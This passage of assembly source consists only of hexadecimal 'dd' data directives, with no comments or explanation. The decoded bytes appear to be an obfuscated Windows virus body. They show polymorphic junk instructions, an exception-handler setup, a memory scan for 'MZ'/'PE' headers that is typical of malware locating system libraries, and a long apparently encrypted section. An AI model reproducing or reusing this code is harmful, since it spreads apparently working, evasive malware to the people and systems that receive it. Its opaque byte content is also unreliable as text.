4244481h, 14h, 0A7C35646h, 0BF9BD01h dd 858B0603h, 603311Dh, 8BFBBF0Fh, 31041BDh, 0C4868906h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 8959C353h, 1AA508BEh, 21C9B501h dd 958B0603h, 60331D1h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 54C35242h, 8BCD429Ch, 0EB815BFAh, 25D456C8h dd 6A04C283h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0AF16C356h, 0BFF89367h, 52F9BE60h dd 8D897D52h, 6032A95h, 51BF6661h, 2050891Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 34C35242h, 95896C6Eh dd 6030A9Dh, 0BBF3858Dh, 6A0606h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0ECA5A2C3h, 4FE57FE2h dd 29646B53h, 32F1D9Dh, 0B8868906h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 84D9C351h, 27E18E3Eh, 6A584EDCh, 91953100h, 89060305h dd 321A1B5h, 34B5FF06h, 6A0606A7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0FD5C351h dd 0A4BD1B2Bh, 0CFBF7F66h, 0F2A0DA9h, 128Ah, 0DE900h, 44B60000h dd 3E8CA6BAh, 0C8719546h, 0FF6649C8h, 31CB195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 848D94B0h, 138EC0A2h, 683EBF03h, 8B605857h, 330ED9Dh dd 0F506106h, 1C88h, 11E800h, 47660000h, 9DE1649Fh, 5410A75h dd 85156D0Bh, 0BF471CC8h, 66273501h, 2434895Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1DC35545h, 419D0BBEh dd 0F060310h, 8Ah, 34B5FF00h, 6A0606A7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 15A7C351h dd 66F5D617h, 7C72B62Eh, 116595FFh, 0B70F0603h, 95BD83FBh dd 60317h, 5D840Fh, 95890000h, 6032909h, 50FB8B96h, 12E8h dd 0E8D59C00h, 0F464878h, 0E94C4012h, 66794730h, 60F7E8FAh dd 525025B4h, 585A310Fh, 6A965B61h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 97FC350h dd 7729371Ah, 0FD77ED7h, 686h, 1D9D8B00h, 0FF060303h, 6A734B5h dd 6195FF06h, 89060306h, 32E559Dh, 34B5FF06h, 6A0606A7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0D1B6C356h, 0C9B553C1h, 85896060h, 603108Dh dd 666188B2h, 0FF61F98Bh, 30AE195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BD83BC6Ah dd 603218Dh, 41840F02h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5085C356h dd 9E971BEh, 0B5000000h, 3F925FF4h, 54A913BCh, 1FD858Bh dd 0BD330603h, 6031BC5h, 660000C6h, 3D4ECF81h, 30B985C7h dd 603h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 58139DC3h, 891BA201h, 3237995h dd 17BB6606h, 0F2BFE961h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0F65FF8C3h, 0CF8166D8h dd 8D89F879h, 6030161h, 8B66C18Bh, 11858DDAh, 50060328h dd 627662BBh, 24048939h, 0E9006AF8h, 12h, 9AE2A9D9h, 0B523DE81h dd 0D4622899h, 4A47EBAEh, 6A85D3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 2DC35545h, 0C8B28D02h, 0BD8B52F3h dd 6032909h, 68C0F5Bh, 8B000000h, 331E19Dh, 7C858D06h dd 6A060824h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0B31FC353h, 0FC5F522Fh, 6A05C083h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0FD72C356h, 505F5190h, 12E9h, 4EDD0100h dd 0A02A9E2Fh, 0BCEE264Ah, 0ED1942B0h, 90EC8CDCh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0AEC35343h, 0EBF97399h dd 0D780C808h, 6A006A8Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 73A7C353h, 2D06AFCFh dd 2F19D89h, 6A0603h, 42FF53BBh, 0C995FF01h, 8B06030Ch dd 478D8DD9h, 6A060697h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0E3F7C353h, 9D34BDABh dd 66E7046Ah, 0FF5FD5BFh, 57006AD1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0BB6AFD56h dd 367A83BFh, 6A3EEF81h, 0BD837080h, 6031E91h, 0A1850F01h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 5906C355h, 0AF1BD29h, 26A0603h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AC35242h dd 7CC94F3Bh, 0EF44E1EDh, 0DE9FAh, 76DA0000h, 0DFB8A45Fh dd 57BD7484h, 90096656h, 90DC8A50h, 0EE9h, 0DF80AA00h dd 818CFF9Ch, 6434DED8h, 0E9E9FC24h, 0Ah, 0EA052693h, 37079D6Bh dd 95FFF98Ch, 6031CB1h, 11E952h, 918A0000h, 4206BAA4h dd 18B4899Fh, 5D00E151h, 5F660666h, 0DC0E9h, 0E800h, 815D0000h dd 82486EDh, 820FFC06h, 6, 1EE98D29h, 858D0603h, 6068889h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 31C35646h dd 0B9D6D36Dh, 0F50A69Fh, 48Ch, 0A0BB6600h, 240489E6h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6AC35040h dd 6B1210DAh, 0F671BA5h, 50C3802Dh, 35FF64h, 33000000h dd 30A65BDh, 25896406h, 0 dd 28C0Fh, 5B530000h, 2A1585FFh, 6A0603h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 4D16F5C3h dd 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 7E2E3EC3h, 7E9h, 9ED5E200h, 848D94B0h, 625B5FFh dd 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0FEE6E7C3h, 0D88B6626h, 58A0Fh, 73BB0000h dd 0FF528953h, 3201595h, 163E906h, 81660000h, 0B08CC8D3h dd 11E800h, 0F62A0000h, 33DA9F3Dh, 0CD8C6B9Bh, 0E4BDDB25h dd 0BBEE46F9h, 4A51BC14h, 8B70E65Bh, 30AD1BDh, 0F71E406h dd 613CD9BFh, 12B830Fh, 0B60F0000h, 0BD8589C8h, 0BA060323h dd 6, 9D8BC18Bh, 6030281h, 6604E8C1h, 0BD03E2F7h, 6031399h dd 9529C82Bh, 6032D05h, 6657D18Bh, 0F382F781h, 0F3E95Fh dd 8F0F0000h, 8, 41958960h, 61060330h, 8B83B060h, 322BDBDh dd 858B6106h, 4947554Ch, 2D619589h, 10E80603h, 81000000h dd 0A980041Dh, 2318468Bh, 7F63214Fh, 6017D3BCh, 7E8h, 130EDE00h dd 4FCA3D83h, 2DB58959h, 61060306h, 7C0835Bh, 60BB6653h dd 0DF8B5F72h, 900C083h, 3255D8Dh, 0FD03B06h, 3083h, 8E800h dd 0FD6D0000h, 0A89FDB4Fh, 0EE9060Ah, 50000000h, 131C54A2h dd 0C1905609h, 0B8010E1Ch, 62E95F12h, 60000000h, 0F181C78Bh dd 77D9D3Dh, 0FF8D8B61h, 0E9FFFFFFh, 0Ah, 0A5E3D967h, 6DF59743h dd 0E1834B4Fh, 3A840F01h, 0F9000000h, 0FFFFA583h, 8BFEFFFFh dd 31CA19Dh, 99BD8B06h, 89060332h, 47554C95h, 10E849h dd 77540000h, 0C667EC98h, 0A71C28E3h, 8C2C49DEh, 0C3BF3DDCh dd 5B72874Bh, 0E9h, 28B58D00h, 6A0607A5h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 2919C353h dd 314E9F11h, 31FB59Dh, 6A006A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3900C351h dd 8166EBE0h, 66C18EC7h, 0F880ABFh, 684h, 0FD858900h, 0FF060313h dd 31FB995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 109CB917h, 8D890000h, 60311ADh, 40B37BBFh dd 0FCE18301h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 2C35343h, 0AA753DA4h, 0BD8B5184h, 60301DDh, 249D8589h dd 0E9FC0603h, 0Fh, 8138DBDh, 0F7CBD160h, 9DBB7126h, 0B89544D7h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CBC35343h dd 0BFC4F749h, 174823F7h, 10E9h, 0EF9D4300h, 9252C9FDh dd 4A992794h, 9D86D175h, 0BBD22BB4h, 7ABB433Fh, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0A1CF8166h, 0E985893Dh, 0F060328h dd 685h, 1DB52900h, 0D06031Eh, 88h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 9EC35343h, 0F2F22A2h, 958BD9BFh dd 60331D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 28C35646h, 0B94DBB41h, 11E960h, 1D650000h, 5A168880h dd 8E87E0C5h, 99C87868h, 0F2EFB45h, 382h, 0FE8B6600h, 8BDF8B61h dd 301E18Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0FA8BB311h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 5E85818h, 1B000000h, 6CEBBDE0h dd 24B1BD29h, 8B5F0603h, 31BA5BDh, 65BD8306h, 6031Dh, 6E840Fh dd 0B80000h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0D80DC357h, 4D1C8D8Dh dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 5BFDE1C3h, 0E1FFDD64h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 1CC35141h, 0BD31BE29h, 6032A69h dd 21BDBD83h, 0F000603h, 3F384h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0BDBD8384h dd 1060321h, 3E5840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0F83E66C3h, 9DD1BF80h dd 0BD837675h, 60321BDh, 7E860F03h, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 603BC357h, 0F781DDB3h, 44FA2F6Eh, 8BD98C66h, 320EDBDh dd 4E18006h, 54F78166h, 0FC90A4Eh, 11284h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 60608F21h, 8A0Fh, 0BD890000h, 6031B35h, 61CB8A61h, 13C1858Bh dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0AD5DF1C3h, 9A42E3C0h, 8E8h, 6E52CD00h, 47DD9002h dd 6800FDCh, 89000000h, 324B9BDh, 85335B06h, 6031C79h dd 0F50DA8Ah, 288h, 89D98B00h, 95892404h, 6033071h, 0BD89006Ah dd 6032945h, 24759589h, 4E80603h, 0FF000000h, 0E8001F03h dd 0Dh, 1FB27A69h, 5923E2E8h, 0FD1F6DC5h, 0DA8B6639h, 8B0F505Fh dd 0 dd 424448Bh, 10E8h, 3A56A300h, 1A9EDFB2h, 0AB8FBE26h, 15CD7CA9h dd 8B665765h, 8B5F5FF8h, 0DE8B6600h, 4244489h, 523CBB66h dd 0C0CF8158h, 0FF77C71Ah, 3140595h, 34858906h, 0E90606A7h dd 1C1h, 0FFBBF0Fh, 683h, 6D9D8B00h, 8B060326h, 6A72C85h dd 1D8DBF06h, 0C774C7h, 18h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0DEC35040h, 6099C157h, 0B319D8Bh dd 8B660603h, 0B58961FBh, 60330EDh, 0A730B58Bh, 6A0606h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0CACCC1C3h, 858BBA78h, 603128Dh, 13718D29h, 6890603h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 12C35040h dd 0C1858BF8h, 6A060313h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0DEFBC353h, 7D2A0D75h dd 7094B5C4h, 0FA6DF80h, 0C87h, 6850F00h, 0F000000h, 8Dh dd 4468900h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 87C35343h, 8B3591FDh, 605096FAh, 60DE8B60h, 96616161h dd 0FFD88B66h, 6A72CB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0CBAA622Eh, 0E88CC636h dd 5, 0EA63B6B1h, 685BF8B9h, 29572114h, 741EF8BFh, 2434813Ch dd 294822EBh, 0A734858Dh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 1CE6F5C3h, 2B8A74BBh dd 50609040h, 42BA6652h, 60310F6Ch, 61585A61h, 90F88B50h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 8AC35545h dd 2D79BD8Bh, 95FF0603h, 6031405h, 60DB8166h, 0BF66617Ch dd 8E0F449Ah, 8, 3DB58953h, 5F060310h, 21BD85C7h, 30603h dd 8B0F0000h, 18h, 13E9h, 4C1C5F00h, 0B010A805h, 0E4F51CB6h dd 0B76CF2B1h, 0DDED8028h, 0A734BD83h, 0F000606h, 3484h dd 0DE8B6600h, 47E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 22AA4322h, 8B6053A7h dd 8E0FF0h, 61000000h, 0C30505Fh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0B1C35242h, 0BD835FB7h, 60321BDh, 33850F03h dd 6A000004h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0FAD5C352h, 34BD8345h, 606A7h dd 408840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 6CFB93C3h, 34B5FFF5h, 890606A7h dd 326F595h, 595FF06h, 8906032Eh, 30BEDBDh, 28B58B06h dd 6A0606A7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0ACCFC353h, 106C7E5h, 89000100h dd 324319Dh, 0BB669606h, 0E950EE98h, 0Bh, 68EC6B3Bh, 5E9FE156h dd 96573523h, 7E9h, 53FB3800h, 0CBF1F417h, 0A734B5FFh dd 95FF0606h, 6032F19h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0CEC35141h, 7310E141h, 153067C6h, 2DF38166h dd 28B58B2Ch, 6A0606A7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 7120C355h, 96E8136Dh dd 0C604E381h, 8B663FECh, 0C5BD8BFBh, 8B06031Ch, 3311D85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 1ED4123Bh, 25BC19D3h, 9D8B4954h, 6031381h dd 0C48689h, 9D890000h, 6032085h, 31D1958Bh, 6A0603h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0EAFA58C3h, 0A1852951h, 5F06031Dh, 15810Fh, 9E80000h dd 7A000000h, 1F130A2Fh, 0C58FF803h, 0B3D9D8Bh, 835B0603h dd 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 1CE73BC3h, 0BD8B7234h, 6030AD9h, 81205089h dd 3739BCD7h, 0F3858D69h, 6A0606BBh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 1ECC356h dd 310B585h, 0B8868906h, 60000000h, 1171958Bh, 8D090603h dd 603306Dh, 6A006A61h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 206AC355h, 4CB5078h dd 0DAE57026h, 5E9h, 8BDD6C00h, 0B5FF626Ah, 606A734h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6EC35141h, 0CE91Dh dd 0F5F0000h, 0C5ACAF15h, 3D6D0382h, 0C381A004h, 3CF16161h dd 1CB195FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0E8ABC5C3h, 7, 27EF4776h, 66D9B34Ah dd 90AFD381h, 0AE8505Bh, 4C000000h, 174B70ACh, 0F1CB8BBCh dd 0DF8B6690h, 2434895Fh, 5E952h, 9C620000h, 5B0BA410h dd 0A734B5FFh, 0B5090606h, 6030A31h, 24D38166h, 6595FF5Bh dd 0F060311h, 0BD83D9BFh, 6031795h, 25840F00h, 8B000000h dd 3229DBDh, 96509606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 8AC35747h, 0A734B5FFh, 0D98B0606h, 66195FFh dd 0BD8B0603h, 6030179h, 0A734B5FFh, 6A0606h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 8410BCC3h dd 19FBBB53h, 295F4B33h, 32171B5h, 0E195FF06h, 6A06030Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 1D25C353h, 89F38166h, 8DBD83EEh, 2060321h dd 88840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 4ADE36C3h, 1C9A1F94h, 0F9505779h dd 858B5F5Bh, 60301FDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 48C35646h, 13F98B7Ah, 0E8F5CDF4h, 0Ch dd 0BAFA8814h, 54F06D3Ch, 5456D56Ah, 20C58D29h, 0C65F0603h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 85C7F3C3h, 60330B9h, 0 dd 5AF2DF81h, 1DE90CF6h, 8BFFFFF3h, 53006AC1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 89606541h dd 30AA185h, 0BA06h, 0EA81F00Eh, 0F0000000h, 8914C283h dd 31C3D95h, 14EA8306h, 32E7858Dh, 64500608h, 35FFh, 89640000h dd 25h, 0E800h, 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h dd 1285h, 50B70F00h, 81D0033Ch, 45503Ah, 0A840F00h, 2D000000h dd 1000h, 0FFFFD9E9h, 89C88BFFh, 3012185h, 3C400306h, 650B70Fh dd 12099589h, 508B0603h, 19958950h, 5060301h, 0F8h, 30C508Bh dd 0B59589D1h, 306032Ch, 95890850h, 603129Dh, 58F64h, 83000000h dd 13E904C4h, 51000000h, 10244C8Bh, 0B0A981h, 10000000h dd 33590000h, 0BD83C3C0h, 6032CDDh, 24840F00h, 0C6000000h dd 32F3985h, 0D2684706h, 0FFD49AA7h, 328C9B5h, 0BC858D06h dd 0FF060673h, 0FF006AD0h, 458589D0h, 8B06032Dh, 0EA8D8DD3h dd 89060833h, 32559B5h, 28C0F06h, 0B6000000h, 0D18D8960h dd 8B060331h, 31FA5B5h, 0E185C706h, 74060301h, 0E900005Bh dd 8, 9F9D737Dh, 24C1087Ah, 21BD85C7h, 603h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 9D33B1C3h, 60328E1h, 10CDB5FFh, 6A0603h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0BDD5BBC3h dd 0E9D700Eh, 95FFFC10h, 6032691h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0E1C35545h, 5902C13Eh, 6AEB2706h dd 0B995FF00h, 8B06031Fh, 0C60EEBC0h, 47BAC7CDh, 128D62A3h dd 0FC4420C6h, 228D8D89h, 6A060835h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0BFE1C355h dd 0A397B143h, 0D18D89F2h, 0F060331h, 0D8Ah, 9D896000h dd 6030B75h, 0BEDC04BBh, 85C76104h, 60301E1h, 6A44h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 83C35343h, 0D29258AEh dd 0E9C1B70Fh, 0Ah, 81403D91h, 853D7404h, 85C7B460h, 60321BDh dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4C35747h dd 8C6525AFh, 5A07BA87h, 2C0D858Bh, 0B5FF0603h, 60310CDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 18C35646h dd 0E902214Ch, 0Ah, 0FCB935A5h, 0A34180ACh, 95FFDDF4h dd 6032691h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0D8C35141h, 12E9h, 9A644200h, 0A934A9B3h, 0B6D0A4F7h dd 802F507Ch, 6ACE58EAh, 0B995FF00h, 8B06031Fh, 10EEBC0h dd 0FFD6D1E5h, 5A5AFD06h, 0BAA568B1h, 0BE8DDh, 86FF0000h dd 630F9D23h, 0BF5C380Dh, 0F9858BD4h, 5B060310h, 0F4F9C281h dd 0C3813947h, 5E37h, 0B9FE8B66h, 0 dd 0F0B348Bh, 285h, 81585600h, 0FC4FACEEh, 0F681FC30h dd 1CE167DAh, 13999D01h, 0EE810603h, 56BC542h, 12E9h, 1D9DF900h dd 8DCD04C8h, 0F57B20A3h, 9DFABD69h, 89470880h, 8E90B34h dd 40000000h, 0FF579CB7h, 8B94E8D1h, 320ED95h, 0A6E98106h dd 0FC3F38F9h, 0F9A2C181h, 95233F38h, 60331BDh, 0A260F981h dd 850FFFFFh, 0FFFFFF90h, 2BE78166h, 8E89Eh, 0EAEB0000h dd 0B8C65A11h, 0CA8B5F61h, 0D081665Bh, 0C3815941h, 6305h dd 188CBAh, 412EB800h, 338B65ADh, 2A79B529h, 0C6810603h dd 411B0E7Eh, 381858Bh, 0EE810603h, 1F552EDDh, 0A515F681h dd 8D896E26h, 6032851h, 9E856h, 94FF0000h, 63A8272h, 0E917EDC2h dd 8, 76F71B15h, 7D653C72h, 81038F58h, 0EEB569EBh, 0FABF0F62h dd 0B565C381h, 0B70F62EEh, 1EA81FFh, 0F000000h, 1B85h dd 0C28B6600h, 4EE9h, 8BF9D300h, 7435AE76h, 173C648Ch dd 0BA10577h, 0C65535E9h, 12E8h, 29EAB300h, 0A92332CCh dd 0BBCA21C4h, 0A5AA9C3Ch, 0E9287764h, 10h, 54D3EBFAh dd 8A3FB00Fh, 0B89A43D2h, 644986C5h, 0FF50E95Fh, 0BDBEFFFFh dd 0CCD9D29h, 0FB3E6BDDh, 0DBE5C6Bh, 0E6372DD7h, 5286A7D8h dd 0A90C1A5Bh, 0A935A1DBh, 738824D1h, 3733A4C9h, 0C865BEACh dd 0CE8D6753h, 6F35A7DCh, 7022D25Dh, 28A82ADEh, 2333A268h dd 0ED6DFC0Bh, 3424BA65h, 8C41A7DEh, 0CE8DF488h, 6F35A7DCh dd 7022D25Dh, 39A82ADEh, 2333A275h, 476DFC0Bh, 34149265h dd 0C835CDDEh, 0CD35A430h, 256E87D8h, 57692E83h, 9D7126DCh dd 0DC35BDDCh, 0AD66E4D8h, 654C3C51h, 2ED101BAh, 0A4882E08h dd 0E933A4C7h, 7335A452h, 32EC27D8h, 0CCDD6753h, 9435A7D8h dd 2DE53F03h, 0C2A60C0h, 4CD955E9h, 6F7D07E0h, 702A665Dh dd 3553F8DEh, 8F35CD00h, 6E35A430h, 0F46E87D8h, 0BF692E83h dd 0E97126DCh, 0E635BADCh, 0B066E4D8h, 80FA8A1Ch, 6B4A835Dh dd 0C6C09C1Dh, 50B1A8DCh, 0B235A7DBh, 0CE13F655h, 638824DEh dd 7333A4C4h, 0B91223D7h, 0DC5FA7D8h, 6E364F8Eh, 6915A7D8h dd 0EFBCF91Bh, 89B4A3FCh, 0E621A3FCh, 2573A7D8h, 4048E1Bh dd 0DA36B551h, 6E368A31h, 103519D8h, 44B5A5D8h, 0CD324E16h dd 9DE7A7D8h, 0F037B487h, 0B4B02A7Ah, 0B633A155h, 6DDDF6D8h dd 1735A7D8h, 126C6481h, 4C318394h, 0F131839Ch, 3235A7D8h dd 0B8006489h, 51BE354Dh, 6836B799h, 0BE3A7727h, 9B35A7D0h dd 0DCB02E88h, 0BD33A4DAh, 0F73A675Dh, 0B935A72Eh, 5DCE10D7h dd 0EF53F0E0h, 25B0A823h, 1235A7D8h, 0CE147A4Dh, 9EB4C1DEh dd 7C37A5DCh, 0B937775Ch, 0E4B4C1D8h, 0EB3AC744h, 3735A712h dd 7365A7B2h, 0CD35A7DBh, 0BEF6FFF8h, 7711E351h, 0BD11E359h dd 0DC35A7C4h, 78F6F798h, 8641CFF2h, 0A96E64BAh, 4DFE2CBEh dd 0E9DDA5A0h, 73353E5Dh, 60882CD8h, 0BA33A4C2h, 6E33DF59h dd 0B0B0A873h, 0F135A7D8h, 0CEDDF1D8h, 0C635A7D8h, 0FA6B6486h dd 383183ACh, 0C131839Ch, 2835A7D8h, 8708648Eh, 5E88A5A5h dd 5E1A9E91h, 0E635A231h, 58675FD8h, 0AADD0124h, 3235A7D8h dd 7EB5725Ch, 4F261AC0h, 215E9E15h, 0EC32C07Bh, 6BBCCC73h dd 7536AE35h, 3B3AF087h, 0DC35A7D9h, 48DCFD20h, 5D35A7DAh dd 98DDF5D8h, 0ED35A7D8h, 6F6F6482h, 0F231838Ch, 0AF31839Ch dd 9E35A7D8h, 11C2648Ah, 373D4E38h, 0DE51A7D8h, 0DE088500h dd 0E68B9820h, 5073A6D9h, 0BA358665h, 0D1B02ADEh, 433A155h dd 34DDF2D8h, 0BB35A7D8h, 44686485h, 673183B4h, 6931839Ch dd 0FC35A7D8h, 77AF648Dh, 0FCA80D2h, 373F4FCCh, 0C26BA7D8h dd 57FB26F2h, 17441B3Dh, 0D2355559h, 326AE595h, 0DF394A55h dd 3EE558DEh, 2713E167h, 5BB0FEB9h, 0CCB523D7h, 5B3EA7D8h dd 75368F71h, 30882CB8h, 0BC33A4F9h, 62842251h, 56CCA1DBh dd 0FD0D26B9h, 0C237A5E5h, 0E635B45Dh, 92808ED8h, 3833A4FEh dd 0E153A1A0h, 0EA3ADD87h, 3735A6BDh, 70D26BEh, 0A7B0A8B8h dd 6F35A7D8h, 7035A25Dh, 0BB4D27DEh, 86B0A830h, 0D135A7D8h dd 0BE45E8Bh, 15FC26BEh, 0B5B4C1F6h, 0E9F5A7DEh, 7335E35Dh dd 0B93A4FD8h, 8586A7D8h, 3C43B06Dh, 0ACDF3271h, 0A45F0158h dd 0CFB0A8DCh, 6D35A7D8h, 61DCFE23h, 0D335A7D9h, 0DFDDF2D8h dd 4E35A7D8h, 0BE686485h, 1A3183B4h, 0DA31839Ch, 0A335A7D8h dd 0F5648Dh, 0E3A332Eh, 0DD351923h, 0EBBCD9D9h, 3136ABB1h dd 16382255h, 7253A1DEh, 36CA446Bh, 9B60A7B2h, 0B935A7DBh dd 81F6FAF8h, 6A11CB51h, 3311E359h, 9B35A7C0h, 0FAF6F29Dh dd 0DE456469h, 0FE3AF06Eh, 0B935A7D2h, 0B5A02CB8h, 0E533A4F0h dd 0F7B0C608h, 9BB123D7h, 0CD5FA7D8h, 0E6364F89h, 2A15A7D8h dd 0F5BCFE1Bh, 98B4A3FCh, 6E20A3FCh, 6674A7D8h, 12F83B1Bh dd 0CE37425Dh, 7E8EC1DEh, 9B0D27EEh, 0B91522D7h, 41BCA7D8h dd 6836B54Dh, 4430DF58h, 9B2522D7h, 1DBFA7D8h, 0E14D2720h dd 21B1A88Bh, 0DF35A7D8h, 5D537E53h, 613028E0h, 37358E5Dh dd 0EA8896D8h, 4D33A4C6h, 0E95DA1A0h, 7335BE5Dh, 38535BD8h dd 0F9CAACA0h, 6E3922D7h, 0DEC0A7D8h, 9B35A7F9h, 0E40C2A51h dd 0E68DA1DBh, 1535A7D8h, 9A546859h, 0DFB82A53h, 70DCA1DBh dd 0BC35A7D8h, 983CF24Dh, 0CD341FDEh, 0E1DDA7D8h, 7135A7D8h dd 0EAD0FC04h, 591CE001h, 6836A659h, 0C3BFF787h, 2411A351h dd 0C7B12B38h, 0D0861A55h, 0FEB8A1D0h, 0BF3D9C8Ch, 0BA608460h dd 